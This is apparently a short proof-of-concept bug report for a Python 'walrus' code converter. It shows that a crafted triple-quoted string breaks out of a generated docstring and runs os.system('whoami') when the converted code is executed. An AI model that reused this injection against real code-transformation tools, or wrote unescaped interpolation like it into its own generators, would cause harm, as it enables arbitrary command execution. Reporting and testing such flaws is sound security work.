>>> import walrus
>>> code = '(a:="""s""")'
>>> converted_code = walrus.convert(code)
>>> print(converted_code)
a = locals().get('a')

def __walrus_wrapper_a_2800e7d9867b432c9bf27c087a79f93b():
    """Wrapper function for assignment expression `"""s"""`."""
    global a
    a = """s"""
    return a
(__walrus_wrapper_a_2800e7d9867b432c9bf27c087a79f93b())
>>> exec(code)
>>> a
's'
>>> exec(converted_code)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 4
    """Wrapper function for assignment expression `"""s"""`."""
                                                      ^
SyntaxError: invalid syntax

>>> import walrus
>>> code = '(a:="""\n    __import__(\'os\').system(\'whoami\')#""")'
>>> converted_code = walrus.convert(code)
>>> exec(code)
>>> a
"\n    __import__('os').system('whoami')#"
>>> print(converted_code)
a = locals().get('a')

def __walrus_wrapper_a_cc9aea47bf50406eba8e7b00edf53b22():
    """Wrapper function for assignment expression `"""
    __import__('os').system('whoami')#"""`."""
    global a
    a = """
    __import__('os').system('whoami')#"""
    return a
(__walrus_wrapper_a_cc9aea47bf50406eba8e7b00edf53b22())
>>> exec(converted_code)
(the `whoami` command gets executed)